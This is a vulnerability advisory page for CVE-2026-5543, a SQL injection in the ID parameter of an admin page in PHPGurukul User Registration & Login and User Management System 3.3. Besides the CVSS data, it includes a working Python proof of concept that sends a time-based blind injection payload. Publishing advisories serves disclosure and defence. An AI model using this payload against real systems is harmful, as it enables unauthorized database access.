Security Vulnerability Report
中文
CVE-2026-5543 CVSS 6.3 MEDIUM

CVE-2026-5543

Published: 2026-04-05 05:16:05
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in PHPGurukul User Registration & Login and User Management System 3.3. The affected element is an unknown function of the file /admin/yesterday-reg-users.php. The manipulation of the argument ID leads to sql injection. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PHPGurukul User Registration & Login and User Management System 3.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL configuration target_url = "http://example.com/admin/yesterday-reg-users.php" # Attacker's session cookie (Simulating low-privilege user) cookies = { "PHPSESSID": "attacker_session_id_here" } # Malicious payload to test SQL Injection # Payload: ' OR SLEEP(5)-- (Testing for Time-Based Blind SQL Injection) payload_params = { "ID": "1' OR SLEEP(5)-- " } try: print("[+] Sending malicious request to target...") response = requests.get(target_url, params=payload_params, cookies=cookies, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection confirmed (Time-based delay detected).") else: print("[-] Exploit attempt failed or target not vulnerable.") except requests.exceptions.RequestException as e: print(f"[Error] Connection failed: {e}")

References

Raw JSON Data

JSON
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